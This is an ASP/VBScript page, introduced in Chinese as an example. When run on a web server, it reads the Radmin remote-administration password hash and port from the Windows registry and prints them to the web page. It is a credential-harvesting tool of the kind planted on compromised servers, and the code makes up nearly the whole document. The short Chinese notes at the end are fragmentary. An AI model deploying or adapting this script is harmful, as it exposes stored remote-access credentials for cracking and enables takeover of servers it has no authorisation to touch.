本範例示範如何使用 VBScript 的 WScript.Shell 物件讀取 Radmin 伺服器的註冊表設定,並將儲存的十六進位密碼與連接埠解碼為可讀格式。
<%
'========================================Main======================================
Set WSH = Server.CreateObject("Wscript.shell")
RadminPath = "HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\"
Parameter = "Parameter"
Port = "Port"
ParameterArray = WSH.RegRead(RadminPath & Parameter)
Response.write "The Result of Radmin Hash"
Response.write "<br><br>"
Response.write Parameter & ":"
'=========== ReadPassWord =========
If IsArray(ParameterArray) Then
For i = 0 To UBound(ParameterArray)
If Len(hex(ParameterArray(i))) = 1 Then
strObj = strObj & "0" & CStr(Hex(ParameterArray(i)))
Else
strObj = strObj & Hex(ParameterArray(i))
End If
Next
response.write Lcase(strObj)
Else
response.write "Error! Can't Read!"
End If
Response.write "<br><br>"
'=========== ReadPort =========
PortArray = WSH.RegRead(RadminPath & Port)
If IsArray(PortArray) Then
Response.write Port & ":"
Response.write hextointer(CStr(Hex(PortArray(1))) & CStr(Hex(PortArray(0))))
Else
Response.write "Error! Can't Read!"
End If
'============= hex TO int==========
Function hextointer(strin)
Dim i, j, k, result
result = 0
For i = 1 To Len(strin)
Select Case Mid(strin, i, 1)
Case "f", "F": j = 15
Case "e", "E": j = 14
Case "d", "D": j = 13
Case "c", "C": j = 12
Case "b", "B": j = 11
Case "a", "A": j = 10
Case Else:
If Mid(strin, i, 1) >= "0" And Mid(strin, i, 1) <= "9" Then
j = CInt(Mid(strin, i, 1))
End If
End Select
For k = 1 To Len(strin) - i
j = j * 16
Next
result = result + j
Next
hextointer = result
End Function
'================ End ==========
%>
Server.CreateObject("Wscript.shell") 需伺服器啟用腳本執行權限。RegRead 回傳陣列(二進位資料),需逐位元轉十六進位字串。PortArray(1) 與 PortArray(0) 後轉十進位。SYSTEM 或管理員)。